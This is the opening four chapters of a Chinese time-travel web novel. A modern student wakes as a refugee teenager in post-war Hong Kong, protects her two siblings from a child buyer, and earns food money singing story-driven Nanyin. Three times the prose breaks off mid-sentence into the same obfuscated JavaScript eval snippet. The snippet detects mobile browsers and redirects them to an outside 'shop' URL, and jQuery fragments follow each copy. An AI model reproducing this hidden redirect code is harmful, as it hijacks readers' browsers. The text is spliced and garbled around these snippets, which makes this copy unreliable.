《我在香江写小说[年代]》 1. 投亲无门 “你们找错地方了,这里没有姓冯的人。”维多利亚岛老旧的唐楼门口,一个身穿睡衣,手里拎着马桶的女人不耐烦地摆了摆手。 听见这话,饶是言少微心中并没有抱太大希望,也难免有些失落。 不等言少微开口,她右手边那个小姑娘的脸色已经急得发白。 小姑娘仰着头看着那女人,哀求说:“拜托您再想一想呢?我阿爸留给我的就是这个地址。他肯定住这里的。” “都说了没有咯,这里每个租户我都认识,没这个人。”那睡衣女人已经懒得再搭理他们了,她一脸嫌弃地绕过眼前三个邋里邋遢的“小乞丐”,往远处去倒她的马桶。 眼瞅着那女人已经走开,小姑娘还想要追上去,言少微拉住她,说:“算了,毕竟这么多年了,冯叔可能已经搬家了。” 言少微的话彻底打碎了冯望舒的幻想,她颓然停住脚步,眼泪已经在眼眶里打转了,然而让言少微刮目相看的是,她居然没有哭出来,而是深呼吸了一口气,强行把眼泪憋了回去。 言少微悄悄松了口气,这要真哭了,她可不知道该怎么哄孩子。 冯望舒虽然没哭,但是心底的张惶与无措却是不减,她扭着手指低声说:“维岛这么大,咱们找不到他了吧。” 他们手里有的,就只有这个地址,这个线索断掉,他们人生地不熟,根本求助无门。 “哪儿就到放弃的时候了?”言少微自己也是毫无头绪,却不妨碍她宽慰小妹妹,她轻轻拍了拍冯望舒窄小瘦削的肩头,温声说,“只要冯叔还在维岛,咱们一定就能找到他。” 小姑娘哪里知道言少微这不过是哄孩子的话,一听大姐都这么说了,哪怕大姐什么方向都没有指明,她心底的惶然已经稍稍减退。 言少微却并没有她表现出来的那么淡定,她现在有些想哭。 就在昨晚闭上眼睛前,言少微还是个吃穿不愁的二十一世纪大学生,一觉醒来,居然穿到了八十年前的维岛,变成一个流浪街头的十六岁少年。 更雪上加霜的是,她还带着一个十一岁的妹妹,和一个六岁的弟弟。 言少微脑中有原主的记忆,知道原主亲妈早逝,原主的爸后来跟一个带着女儿的外乡女人结婚,又生下了一个弟弟。 一家五口原本过得还算幸福,可惜后来原主的爹一病死了。继母本想一个人拉扯三个孩子长大,可战火又烧了过来。 言氏的族长便打算带全族一起去维岛避难。 刚上路的时候,族亲都很热心,帮他们孤儿寡母搬行李,推小车。 路上走了几天,继母带着几个孩子,实在跟不上大部队的速度,族长便说他们先去港口打点好船只,等着他们过来再一起出海。 然而等到他们赶到港口的时候,并没有见到一个言氏族人。族人们都消失了,一起消失的,还有他们的家产。 幸好继母贴身还藏了一点钱。 然而此时,想上维岛避难的人实在太多,蛇费一涨再涨。蛇费,即付给蛇头的费用。 继母掏光身上最后一个铜子儿,也才凑够两个半人的费用。好说好歹,才把他们三个孩子一起塞上船,嘱咐他们到了维岛就去投奔亲戚。 所谓亲戚,自然不是抛下他们上岛的言氏族人,而是原主继母的前夫,二妹的生父。 三个从来没有出过远门的孩子,就这么两眼一抹黑地上了岛,兜里还没有钱。 原主便带着两个小家伙一边乞讨,一边问路。 乞讨本就不易,好不容易要到一点,还要被人抢。 在争抢拉扯中,原主被一脚踢到了肚子上,等到好容易脱身,她才觉察到肚子里面传来的痛感。 原主本来以为休息休息就能好,谁料随着时间的推移,她的肚子却越来越痛,到后来连路都走不动了。 再后来,眼睛一闭,醒过来的就变成了同名同姓的言少微。 言少微对着两个快要哭断气的小孩懵了半天,好容易消化了原主的记忆,便打算先帮他们找到亲人。 她看了继母留给他们的字条,又跑到报摊蹭了一下地图,当天就带着两个小家伙找到了地方。 只可惜地方对了,却没找到人。 正跟冯望舒说着,言少微脚边另一个更小的小豆丁拉拉她的裤子:“大姐……” 话刚出口,他骤然反应过来,又改口:“大佬……” ——毕竟是战乱时期,安全起见,原主的继母早就把她和妹妹的头发剪成了寸头。幸而这具身体因为营养不良,发育迟缓,外表上也看不出来性别。 言少微刚穿过来的时候,听二妹叫自己大佬,差点没吓出什么好歹来,悄咪咪地检查了一下,才松了一口气。 “找不到二佬的爸爸,我们今天是不是就没吃的了?”他小小的脸庞上是大大的愁苦。 “怎么会?大佬还有钱。”言少微拍了拍裤兜,冲他露出了一个放宽心的微笑。说完,便领着两个小家伙离开了那个唐楼。 小豆丁对大姐的话向来深信不疑,闻言大大地松了口气。他人小腿短,追了两步,拉住了言少微的衣角:“大佬抱!” 言少微疑惑地低头看他,大脑包是什么东西? 小豆丁见大姐停下来,就冲着她张开两只小胳膊。 言少微这次看懂了,这是要自己抱的意思! 她嘴角抽了抽,开什么玩笑,且不说自己现在这个身体一副豆芽菜的样子,未必能抱得动,就算抱得动,她还在长身体,会长不高的好吧! 而且小豆丁都六岁了,能上小学了,想当年,她上小学后就再也没叫家长抱过好吧! “自己走,”言少微说完,想了想,又补充,“乖啊。” 小豆丁一见大姐居然不抱自己,嘴巴一撇,眼泪就往外冒。 言少微简直想叫救命。 想她一个独生女,根本没有跟比自己小的小孩相处的经验,她不会哄孩子啊! 她努力调取原主的记忆,想看看原主是怎么哄弟弟的,然而越看就越不对劲——原来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698927|189107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小豆丁是全家人的心头肉,向来是被捧在手心里的。 原主更是把弟弟看得比自己的性命还重,事事以弟弟的需求为先,就是乞讨的时候,宁可自己和妹妹饿着,也要让弟弟吃饱。 这可不行,她可不当扶弟魔! 言少微决定要改改规矩。 她清清嗓子,跟小豆丁讲道理: “大佬病刚好,抱不动你,而且你今年都六岁了,不是小孩子了,你要自己走路。” 她说完,也不管小豆丁的反应,就一马当先往前走:“来,都跟上。” 小望舒是最听话的,忙快步跟了上去。 小豆丁懵了,往常只要自己一哭,姐姐一定什么都顺着自己的,今天怎么不一样了。 见无人理会,小豆丁的眼泪就已经收住了,他本来想站在原地不动,等着两个姐姐回来哄自己,但是眼见着两个姐姐越走越远,丝毫没有等自己的意思,不由有些害怕,昨天遇到坏人的事情他还历历在目,当下忙迈开小腿朝着言少微追去。 姊妹三人走了几条街,路过了一处摆在街边的粥档。 言少微走过去了,才发现两个小家伙没跟上来。 他们还站在原地,小望舒眼巴巴地瞧着热气腾腾的粥锅,悄悄地咽了口唾沫;小豆丁个头矮,看不见锅,闻着香味也不住地吸鼻子。 小望舒发现言少微在看他们,忙拉了小豆丁跟上来,小声说:“我们不吃,我们就看看。” 小豆丁虽然被拉过来,眼睛却还往粥档上瞟,他想央大姐给他买粥,可是话到嘴边,他偷眼瞧了瞧大姐,没敢开口。 也许是因为还在穿越后的保护期,言少微自己并不感觉到饥饿,但是这两个孩子的的确确是饿了。 从昨晚原主陷入昏迷后,他们就什么东西都没吃过了。 两个小家伙都乖乖的不吵不闹,反而把言少微看得简直一阵辛酸。 她转身走到了那粥档前,问那档主:“多少钱一碗?” “白粥两豪子(港币1蚊=10豪=100仙)一碗,艇仔粥五豪子一碗。要吗?”档主回答。 “来一碗白粥吧。”言少微说着从裤兜掏出一小把硬币,从里面捻了两个豪子出来,递给了那档主。 之后她将剩下的九豪一塞回了裤兜,又伸手在外面按了按。 很好,至少今天是饿不死的。 姊妹三人缩在街角,你一口我一口地轮流喝着粥。 两豪子一碗的粥,拢共没有几颗米。吃饱是没有可能的,最多是吊命。 两个小家伙却如同喝着什么琼浆玉露一般,吸溜得特别香。 冯望舒喝得脸颊鼓起来,又把碗递给言少微,言少微接过来张口要喝,忽然发现这个碗好像……呃……洗得不大干净。 那一瞬,言少微食欲全无。 她好想回去,回到她量大管保的大学食堂。她发誓,如果能回去,她一定再也不嫌弃食堂阿姨的手艺了。 “大佬,你喝呀。”冯望舒催促说。 2. 街头流浪 “……呃,其实大佬也不是很饿,你们喝吧,”言少微欲哭无泪地把碗又递给冯望舒。 原主也总说自己不饿,是以小姑娘也没觉得有什么不对劲,她是一路逃难来的,可一点不嫌弃什么干不干净的问题,她忙不迭地喝了一口,又把粥递给在一边眼巴巴看着的言柳宿。 刚递过去,就听到言少微问她:“你还记得冯叔是做什么的吗?” 冯望舒黯然摇了摇头:“我不知道他是做什么的。” 言少微倒也没太失望,毕竟原主的继母改嫁过来的时候,二妹才四岁,不记得也正常。 她继续引导冯望舒回忆:“那你还记得别的关于冯叔的事情吗?” 冯望舒揪着手指,陷入了回忆中:“其实我们相处不多,小时候他经常好几天都不回家,如果在家,也是一个人关在屋子里。” “他不用出门赚钱养家吗?”言少微问。 冯望舒说:“阿妈讲,他在屋子里就是在赚钱。” “在屋子里就是赚钱?”言少微抓住了一个点,“他在屋子里干什么你知道吗?” 冯望舒抱着脑袋使劲回忆:“……每次阿爸在屋子里都是关着门的,阿妈不许我去打扰他的……对了!有一次我趁着阿妈给他送水果的时候溜进去,看到他好像在写什么东西。” “写东西赚钱?难不成他是专栏作家?自由撰稿人?还是翻译?或者是抄写员?” 冯望舒一脸迷茫地摇摇头,她那会儿连字都不认识,根本就弄不清楚她生父到底在写什么。 “好了,咱们也算有个方向了。”言少微说着站起来。 冯望舒一听姐姐有了思路,眼睛一亮,也跟着爬了起来。 小柳宿刚把碗底舔得干干净净,一抬头,见两个姐姐都站起来了,连忙也跟着站起来,一头雾水地问道:“咱们去哪儿?” “去报社,一个靠写东西为生的人,大抵都会跟报社有来往,咱们一家一家地问,肯定能问到的。”言少微说。 言少微说干就干,她在报摊上数了数报刊与期刊的数量,报社估计就有二十多家,加上出版社一类的各色发行机构,至少也有四十家上下。 她大致浏览了一下这些刊物,在报摊摊主撵人前,记住了几个印在刊头上的地址。 又在路过另一个报摊的时候,蹭了人家贩卖的地图,在心里默默按照远近距离规划好路径,打算一个个找过去。 第一天过去,他们一共找了三家报社,都没有他们要找的人。 眼见着天已经黑了,言少微没有再继续找下去,而是先找地方歇脚。 旅馆是不要想的,就是唐楼板间房一个床位他们也租不起。对他们这种无家可归的流浪儿来讲,最好的选择就是在街边人家已经关门的店铺门口找个位置缩一晚上。 因为维岛多雨又炎热,所以这里的建筑在修建的时候,往往将一楼店铺往内退数尺距离,这样二楼就在他们头顶上形成一个可以遮风挡雨的顶,当地称之为骑楼。 白日里给行人遮阳挡雨,夜里就是这些流浪者暂避风雨的场所。 一到晚上,骑楼底下就很热闹。 一则夏天闷热,很多人都出来纳凉,二则是因为这两年来维岛避难的难民数量庞大,这里面相当一部分也跟言少微他们一样,根本没钱租一个固定的地方住。 骑楼底成为了他们唯一的选择。 今晚言少微根据记忆中原主的经验,带着两个孩子找到一处骑楼的时候,时候尚算早,位置还很宽裕。 言少微挑了个角落的位置,把一卷破竹席铺在地上,让两个小家伙都缩在里面,她自己坐在旁边。 他们刚在这里安顿下来,不过半个小时的时间,骑楼底下已经挤满了流浪者。 两个孩子互相依偎着已经睡着了,言少微却根本没法在这个又脏又臭的地方躺下去。 她靠墙坐着,满脑子想着接下来该怎么办。 既然暂时没法穿回去,她就得想办法先在这个时代活下来。 她对自己说,办法肯定是会有的,作为受过高等教育的Z大导演系高材生,她难道还能把自己饿死吗? 然而她盘算来盘算去,却不得不承认,在她二十一年的生命中,她除了特别擅长写点东西和拍点东西以外,好像并没有别的一技之长。 言少微按了按裤兜,摸到里面几个硬币,一时更愁了。 她有些烦躁地换了个姿势,不小心碰到了睡在她旁边的一个小孩。 骑楼底本就拥挤,翻身碰到别人也是寻常事,然而言少微却陡然一个激灵,刚才碰那一下,她分明感觉到那触感不大对劲。 她转过去,用手轻轻地推了那小孩的肩膀一下,却又触电似地收回手,整个人僵在了原地。 在这个燥热潮湿的晚上,那小孩的身体居然是冰凉的!像石头一样硬! 言少微过来寻位置的时候其实就留意到了这个小孩,那个时候她想着挨着小孩总比挨着陌生的成年人安全。 现在想想,那个时候,这孩子怕是已经没了。 那一瞬,言少微无法形容自己心中的惊骇与颤栗。 她就着路灯一点微光看着那孩子,他半蜷在墙根边,看起来很小,可能比小柳宿还要小一点,因为长期营养不良,手脚细得好像竹竿一样。 维岛的难民实在是太多了,成年人尚且填不饱肚子,这么小的孩子更是不可能有养活自己的能力。 就在言少微内心震颤还未平复的时候,黑暗中忽然有人嚷起来:“差佬来了!” 几乎是嗓音刚落下的瞬间,冯望舒就惊醒了。 她眼睛还没完全睁开,就一咕噜爬了起来,顺道还没忘记把当枕头睡的包袱卷捡起来。 大抵是原主留下的肌肉记忆,言少微脑子还没回神,就已经一把将迷迷糊糊的小柳宿夹在腋下,拉着小望舒就冲出了骑楼。 也就是那么一眨眼的功夫,整个骑楼下已经骚乱了起来,睡得懵懵懂懂的人群惊醒了,开始惊叫着,推攘着,朝着外面奔去。 骑楼底下的确是个遮风挡雨的好地方,但这地方却挡不住某些黑手。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698928|189107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有地痞会来这里索要“过夜费”,也有差佬会以“妨碍公共秩序”为由,随机抓几个流浪者,榨一榨本来就没有几滴的油水。 被盘剥勒索甚至都算运气好的,运气差的,被打伤或者抓走充当苦力也是每日都能见到的场景。 言少微腋下夹着弟弟,手里牵着妹妹,一口气也不知道穿过了几条街,直到实在是跑不动了,这才停了下来。 冯望舒脚一软,跪在了地上。 言少微回头看看,见没人朝他们的方向追来,方才放松一点。 她本来就没吃饱饭,此时精神又高度紧张,放下言柳宿后,竟觉得胃抽痛起来。 她皱着眉,打算忍一忍就过去了。 正这个时候,一个中年男人不知道从哪里冒出来,忽然跟她搭讪:“这两个小东西都是你的?” 言少微点点头,按着胃没说话。 “卖不卖?”那中年男子又问。 言少微:“??” 言少微:“!!” 言少微几乎以为自己理解错了对方的意思,她诧异地抬头看那中年男子:“卖什么?” 中年男子指指还趴地上没缓过劲来的冯望舒,以及被她放地上,还有些晕头转向的言柳宿。 “你要买他们?!”言少微瞪大了眼睛。 “呐,我看你也养不起这两个,不如卖给我,两个,我给你这个数,”中年男人比出三根手指,“如何?” “三万呐?” 中年男人嗤笑一声,像是听到了什么好笑的笑话:“三百。呐,你看,三百块钱不是小数目了,卖给我,你不用再带着两个累赘,你自己揣着三百块钱,这日子就要松活多了。你能租个房子,再去工厂找个活计,以后就不用流落街头了。” 那中年男子自觉这话十分有诱惑力,就等着言少微点头。 而言少微已经被那人的话惊呆了。 在和平年代长大的她,虽然听过困难年间卖儿鬻女的事情,但是她万万想不到自己会遇上这样的事情。 她不说话,那中年男人以为是自己的价码开得不够,他又增加了一根手指:“四百,不能再多了。呐,你看,跟着你,他们也吃不上一顿饭,指不定哪天就饿死了。但是卖给我,我能给他们一个活路,对你,对他们都好。” 言柳宿虽然小,却能听得懂这些话,当场就吓哭了,他爬起来,抓住言少微的衣角,央求说:“大佬,别卖了我,我会乖的,我不要抱抱了,我能自己走,我会听话的。” 冯望舒一张小脸也吓白了,她也从地上爬起来,眼泪汪汪地看着言少微:“大佬,上船的时候,阿妈说了,再困难,咱们三个在一起也是个照应,咱们死也不能分开的。” 那中年男子嗤了一声:“都是孩子话,不分开,你们都得饿死。” 他说着还恐吓地瞪了冯望舒一眼。 这人身上带着一种凶狠的戾气,虽然他并没有翻脸,但只一瞪眼,冯望舒就是一哆嗦,眼泪到底没憋住,也哭了出来,言柳宿见二姐都哭了,哭得就更加大声了。 3. 初现生机 “怎么样?卖吗?”那中年人问言少微。 “不卖!” 莫说言少微一个出生于法治社会的后世人,根本不可能接受这种犯罪行为。就说出于道义,她也做不出占了人家的身体,却把人家的亲人当做累赘卖掉的事情。 那中年人又说了一通你不卖都得饿死的话,言少微黑着脸打断他:“我不会让他们饿死的!” “说得轻巧,你怎么养活他们?”那人瞥了言少微一眼,面露不屑。 “办法肯定是有的,就不劳你操心了。”言少微一手一个,护小鸡似的,把两个哭得上气不接下气的孩子拽到了自己身后,一双黑黑的瞳仁死死地盯着那人,提防着对方会突然出手抢孩子。 那人并没有动手,只是上下打量了一下言少微。 少年浑身绷得很紧,她两手护在身后,略微弓着腰,是一个蓄势待发,随时扑上来拼命的姿势。 那人耸耸肩,倒也没有纠缠,这世道,他不缺这种生意,当下转身就走了。 黑暗中传来他刻薄的声音:“不识相,等着吧,用不了多久骑楼底下又要多三具尸体。” 两个小家伙被这恶毒的诅咒吓得哆嗦,连哭声都小了很多。 言少微却只感劫后余生,别看她适才跟那人对峙的时候,一副岿然无畏的样子,但说句实话,她一个从小连街架都没有打过的好学生,对上这种穷凶极恶之徒,还是有些发怵的,万一那个人要硬抢,她眼下这个小身板还真拦不住。 “好了,没事了,坏人走了。”言少微拍拍两个孩子的头。 她这不哄还好,一哄,这两个孩子的哭声就更大了,一个抱着她的腰,一个抱着她的腿,哇哇哭个不停。 “大佬……呜呜……” “呜呜呜……我害怕……” 言少微有点头大,她真不会哄孩子啊! 她胡乱揉着两个孩子的头:“别怕,别怕,再难,大佬也不会把你们卖掉的。” “那要是、那个人、出、出很多钱呢?”小柳宿抬头,打着哭嗝问言少微。 “再多钱也不卖。”言少微承诺道。 小望舒也抬头,吸着鼻子问言少微:“那我们会饿死吗?” “不会。有大佬在,咱们不会饿死的。”言少微温声道。 两个孩子像是终于放心了,渐渐收住了哭声。 哄好了两个孩子,言少微到底没敢一直待在没人的地方,原来的骑楼是不敢回去了,只能另外找地方。 她带着两个小家伙,只管捡着人多,有亮光的方向走,不知不觉来到了一个热闹的所在。 小柳宿还跟个连体婴儿一样揪住她的衣角,一双水汪汪的大眼睛已经开始四处打量了。 这里大约是个自发形成的夜市,有算命问米的,补衫修鞋的,街头卖艺的,连开小食档的也都有。 各家小摊上点着煤油灯或者挂着汽灯,在漆黑的夜里,点缀着一个个昏黄的光点。 来到有人有光亮的地方,言少微颇有些从地狱里爬回人间的感觉,心神不觉稍微放松了一些,连一直在她身体里叫嚣抗议的胃,都没有那么难受了。 言少微不得不再度思考起那个迫在眉睫的难题—— 她到底要靠什么来糊口。 她读过书,会写字,英文也没问题,倒是可以通过代写书信赚点钱,但问题是,她没钱买纸买笔买桌子。 言少微拖着两个小尾巴,目光扫过夜市的各色夜档,做小生意当然可以糊口,问题还是一样,她没本钱。 上岛的时候,她注意过码头有搬运工,那个活计倒是不用本钱,但是她也估算了,那一袋货物至少一两百斤,她现在这个瘦骨嶙峋的身子骨肯定是扛不动的。 之前那个人提到过工厂。 要不去看看工厂?就是不知道工厂会不会收她这样的黑户童工。 就在言少微琢磨的时候,她路过了一个小乞丐,那是一个大约十一二岁的小男孩,跪在地上,身前还放着个摔得坑坑疤疤的搪瓷碗。 但是让言少微留意到的还是那小乞儿的右手——那小乞儿右手自手腕以下都没有了。 见言少微看自己的残手,那小乞儿不以为意,他甚至还抬了抬手,让言少微看清楚一点,主动解释:“在纺纱厂做工,换梭子的时候被机器绞进去了。” 这话他一晚上要说几十遍,只要能活下去,他不介意自揭伤疤。 “工厂没有赔你钱吗?”言少微忍不住问。 “赔了,十蚊(元)呢!”小乞丐说。 言少微难以置信地瞪大了眼睛。 原主上岛前的记忆里,继母告诉他们,维岛是人间天堂,是最安全的避风港,上了岛他们就能活下去了,可这就是天堂的样子吗? 言少微的目光又落在了小乞丐那只破破烂烂的小搪瓷碗上。 她曾经读过一些这个时期的资料,知道维岛在日占时期人口锐减到了六十万,但是战后随着难民的涌入,人口在短时间内直接突破了两百万,这还只是官方统计。 这么多的成年人都找不到糊口的活计,更不要说她现在的身体只是一个未成年了。 对他们这样无依无靠的未成年来说,乞讨可能就真的是最后的生路了。 她知道原主曾经带着两个小家伙乞讨,但是言少微觉得自己是拉不下这个脸来的。 就在言少微绞尽脑汁试图想出来一条生路的时候,不远处的档口传来一句低沉哀怨的唱—— “别离人对奈何天,离堪怨,别堪怜……”[1] 言少微下意识循声望去,就见一个穿着长衫,抱着胡琴的中年男子,坐在一个小马扎上,那凄楚的唱词就是从他的嘴里唱出来的。 “快快快,瞽师开唱了!”人群开始朝着那男子的方向聚集。 “那是什么?”两个小家伙也好奇地朝那边看去。 作为传统戏曲的狂热爱好者,辅修过戏剧文学课程的学生来说,言少微当然知道这是什么。 这种表演形式叫做南音,一般由盲人(瞽师)独自演唱,演唱内容包括讲故事或者是抒发个人情感,是底层人民为数不多的消遣方式之一了。 在言少微穿来的时代,娱乐形式太丰富,这种传统的曲艺早已式微,街头上已经听不到南音了,网上能找到的唱段,也不过是南音全盛时期的二三成而已。 不过言少微的阿婆最喜欢的就是听南音、看大戏。 言少微从小耳濡目染,许多已经失传的唱段,她都能信手拈来。 也就是说—— 言少微心里一动,嘴角缓缓勾起来,这个钱她也能挣! 言少微一念想定,却并没有立即开唱,而是带着两个小家伙挤进了人群。 她一面听着南音,一面就在脑中琢磨起来—— 瞽师们从小就开始学习南音,少说也是几十年的功力,当地的百姓也是从小听南音,瞽师水平的好坏那也是一听就知道的。 她不可能靠着自己的业余唱腔留住观众。 她必须另辟蹊径。 很快,言少微心中渐渐有了一点思路。 南音这个艺术形式最注重的其实是情绪,大部分的唱词都是咏叹哀鸣,至于故事情节反而弱化了。 或许她可以反其道而行之。 言少微望向人群当中的那个瞽师,脑中琢磨着自己要怎么唱。 又听了一个钟,那瞽师唱了声:“曲终人散莫留恋,明日有缘续断弦。” 随着胡琴弹出一串下行音阶——这是散场的意思了。 一个高俊的青年走上前去,从兜里摸出个五豪子的硬币,放入了那瞽师的铜盘中,这才转身朝外走。 他身后一个光头少年一样往那铜盘里投了个硬币,紧走两步追了上来:“铮哥,咱们回去了吗?” 陆剑铮听了一晚的南音,心头满是悲凉凄怆,噎得他难受,根本不想回去:“难得晚上有空,回去那么早做什么?” 光头少年也不想回去,巴不得一句,也跟着他往前逛。 夜已经渐渐静了下来,夜市却还没有散场。 两人走了会儿,又帮衬了几家小食,吃得肚满肠圆,陆剑铮方觉得满腔的凄怆被挤了出去。 正当两人打算打道回府的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698929|189107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候,忽然留意到街角聚集起一群人。 光头耳朵微动:“好像是唱南音的。这个点了,还能聚集起这么多人,看来唱得不错。” “去看看。”陆剑铮说。 两人挤进人群,听了一会儿,光头一脸懵逼地看向自己的同伴:“他这唱的是什么东西啊?” 陆剑铮没说话,只是有些惊讶地看着人群中央的那个少年。 言少微有一肚子的南音唱词,她却一个都没有唱,而是借用了《紫钗记》的故事,稍加修改,敲着刚问小乞丐借的搪瓷碗,缓缓唱了出来。 言少微是从小被戏曲泡大的,文学功底本身就很强,唱词虽然是即兴编的,也没有时间精细雕琢,但是稍加修饰,便已经十分流畅动人。 与传统南音不同,唱词中没有太多自我情感的抒发,更加侧重才子佳人间跌宕起伏的爱恋。 论唱腔言少微或许是业余的,但是论讲故事—— 言少微从初中起,就开始创作小说,到她上大学的时候,已经是小绿江的金榜常客了。 而她阿婆后来上了年纪,眼睛不好,看不了书,除了听戏听曲,就爱让言少微给自己口述她写的故事。 言少微也乐此不疲。 她沉醉于用自己的想象创造出一个世界。 对她来讲,如何将一个故事讲得引人入胜,如何调动观众情绪,如何借由悬念吊足观众胃口,那根本就是手到拿来。 众看客本来只是随便停下来听一听,但是这一听就没舍得走了。 待得故事到达第一个高潮点,言少微停下来,学着那瞽师的样子,冲观众拱手唱道:“可怜鸳鸯两分飞,纵是我唱破喉咙也枉然。” 唱腔中终于带出些属于南音的凄凄哀哀,这是问看客要赏钱的意思了。 这是南音表演的惯常讨彩环节,因为街头表演,人流不稳定,所以瞽师们会在一段表演后,就来上这么一段,提醒一下诸位看客,要想继续听,就要给钱了。 光头一脸唾弃:“这唱的什么啊?谁家南音这么唱的。唱成这样还想要钱?” 看客当中,一样有这样的声音。 言少微见只有稀稀拉拉几个人打赏,却丝毫不着急。 维岛民众习惯了以贩卖情绪为主的南音,以故事为主的唱曲,对维岛人来讲,属于新的表演形式,有看客一时不能接受也很正常。 但是只要看客没有走,就说明故事已经勾住他们了,这场表演就已经成功了一半。 果然,听到同伴的鄙夷,陆剑铮看了他一眼:“那咱们走?” “再等等,我想听听霍小玉与她的情郎能不能重逢。”光头嘴巴上嫌弃,两条腿却跟钉在了地上似的。 人群的中央,言少微清了清嗓子,敲着搪瓷碗婉转开唱: “可怜她对月怀人愁难了,万般思念怎生消,盼只盼郎君莫恋他乡柳,心念故里转归舟……” 光头抱着胸,跟陆剑铮吐槽:“论唱功、气息、撩拍、姿态、情绪……他这哪儿哪儿都不对。铮哥,你说是吧?” 陆剑铮依旧没接话,只是静静看着人群的中央。 不同于大部分瞽师都是盲人,言少微的双眼明亮灵动,唱腔没有瞽师的哀转,却也含情: “……只叹小玉穷困潦倒卧病榻,香魂一缕将飘散,那李郎却接了别家红罗帕,春风得意情|欲断……” 身边光头越说越起劲:“哪有他这样唱的啊,还讲上故事了,完全就是外行嘛。” 然而这一次,光头的批评终于得到了回应,不过不是来自陆剑铮。 “嘘!” “别吵!” “不听就走!” “…………” 附近好几个看客都冲着他怒目而视,指责他影响大家听曲。 光头这才不得不闭了嘴。 这一闭嘴,他才发现言少微那边又停了。 少年状若愁苦地看了看手中的搪瓷碗:“瓷碗轻如云,小玉所托亦非人,瓷碗有个洞……哎!霍家女怕是熬不过这个冬。” ——搪瓷碗太轻,这是提醒看客,打赏不够。 4. 有钱落袋 在揪心处戛然而止,众看客以为霍小玉当真要死了,个个急得不行,纷纷解囊。 言少微就只听噼里啪啦一阵响,是硬币落在搪瓷碗中的声音,她眼底闪过一抹小得意,又继续唱了起来。 接下来的几次讨彩,一次比一次要得多,到结束的时候,光头看到陆剑铮也从兜里摸出一个五豪子硬币放进了搪瓷碗中,不禁有些着急。 “铮哥,就这水平,你还真打赏啊!” 陆剑铮瞥他一眼,没说话,但是光头看懂了他的眼神——就这水平,你刚刚不也听得十分专注吗? “我……”光头有点脸红,“我那是关心霍小玉!” 那边小柳宿看着言少微手里一把硬币,开心得跳起来:“大佬,咱们有钱了!” 言少微已经数完了钱,拢共一蚊三豪四仙(1.34元)。比刚才的瞽师少了不少,不过因为她开始唱的时候,夜市也差不多到了散场的时候,人流量是比不了的,有这个收入已经相当不错了。 言少微把那四仙给了小乞丐,算是谢谢他借自己的搪瓷碗,又拿了五豪钱给冯望舒:“带老三去买点吃的吧。” 两个小家伙欢呼一声,拿着钱,手拉着手跑了。 言少微把钱放进兜里,跟之前的九豪一合在一起,听到兜里硬币碰撞的声音,满意地点点头。 很好,饿不死了。 正乐颠颠地盘算下一步,光头不情不愿地上来,递过来一个五仙的硬币。 “多谢帮衬。”言少微接过钱,冲他笑出两个大大的酒窝。 “南音不是这样唱的。”光头还是忍不住说道。 言少微点点头:“我知道,但是故事你喜欢吗?” 光头想要违心地说不好听,余光瞥见陆剑铮正朝自己看来,只好实话实说:“……还挺有意思的。” 言少微正要说话,老二老三已经回来了,冯望舒手里还举着一截油炸鬼:“大佬!你的!” 言少微早已觉得饿了,看到吃的,眼睛都发绿,哪里还顾得上那两个观众,接过来就塞进嘴里,囫囵吞了下去,再抬头的时候,那两个观众都已经走了。 言少微拢过两个小家伙:“走,咱们找地方去睡觉。” …… 七日后—— “大佬,咱们真的能吃得起碟头饭吗?”言柳宿瞪圆了眼睛,仰头看着正数钱的言少微,像是根本不相信自己听到了什么。 碟头饭其实是维岛常见的一种快餐,一个盘子里有饭有菜,价格视含肉量的多少,五豪子到一蚊不等。 刚刚言少微演完一场,就大手一挥,表示要带他们去吃碟头饭。 虽然说,这几天他们都没有挨饿了,但是言少微花钱还是比较克制的,伙食以吃饱为主要目的,荤腥他们根本不敢想。 冯望舒咽了口唾沫:“大佬,我们吃云吞面就好了,不用吃那么贵的。” 言少微把钱踹回兜里,一手放在老三的头顶上,一手揽住老二的肩头,笑着说:“都吃都吃,咱们现在天天有进账,偶尔还是可以开开荤的。” 她现在带着两个小家伙在维岛到处找报社,每到一个新的地方,只要看到街口人流量还不错,就会唱一会儿南音,赚一点钱。 街头卖艺,同一个地方的看客很少愿意重复给钱,所以她这么频繁换地方,倒也能把收益最大化。 每回表演的流程都是一样的,看客会鄙夷言少微这种毫无唱功的表演形式,但是一旦听进去了,又会被她的故事深深吸引。 一开始言少微还是用的南音的调子,每个字拖长音,显得意韵悠长,然而想不到众看客竟等得不耐烦。 “喂!你别唱了!”有人冲她嚷起来。 言少微心头咯噔一下,以为自己这是遇到了喝倒彩的,就听那人继续说:“你就直接讲啦!那个宰相小姐后来跟那个书生怎么样了?小姐她娘亲答应这门婚事没有?” 